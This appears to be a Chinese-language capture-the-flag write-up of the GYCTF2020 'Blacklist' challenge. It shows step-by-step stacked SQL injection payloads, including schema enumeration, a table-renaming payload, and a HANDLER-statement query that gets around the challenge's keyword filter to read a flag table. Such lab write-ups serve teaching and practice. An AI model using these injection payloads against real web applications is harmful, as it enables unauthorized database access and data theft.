[GYCTF2020]Blacklist

今天做的这道题是18年网鼎杯堆叠注入的衍生版,这里记录一下

题目

分析

?inject=1'

报错

?inject=1'--+

正常

然后查看有多少字段

?inject=1' order by 2--+

然后用联合查询

?inject=1' union select 1,2--+

发现有过滤

试试用堆叠注入,查库

/?inject=1';show databases;

查表

?inject=1';show tables;

 查看`FlagHere`这张表

?inject=1';show columns from `FlagHere`;

里面有flag字段

查`words`这个字段,里面有id和data两个字段

 因为刚开始回显的时候,是从`words`这张表中查询的内容,所以最后肯定是在`words`这张表回显的

这时候我们就可以已下面的骚姿势进行注入:

1.将words表改名为word1或其它任意名字

2.FlagHere改名为words

这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段


3.将新的word表插入一列,列名为id

或者将flag列改名为data

构造payload

1';RENAME TABLE `words` TO `words1`;RENAME TABLE `FlagHere` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;

发现过滤了好多

只能换一种方法了

这里我们用到handler这个东西

HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭

1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
原文地址:https://www.cnblogs.com/zzjdbk/p/13681752.html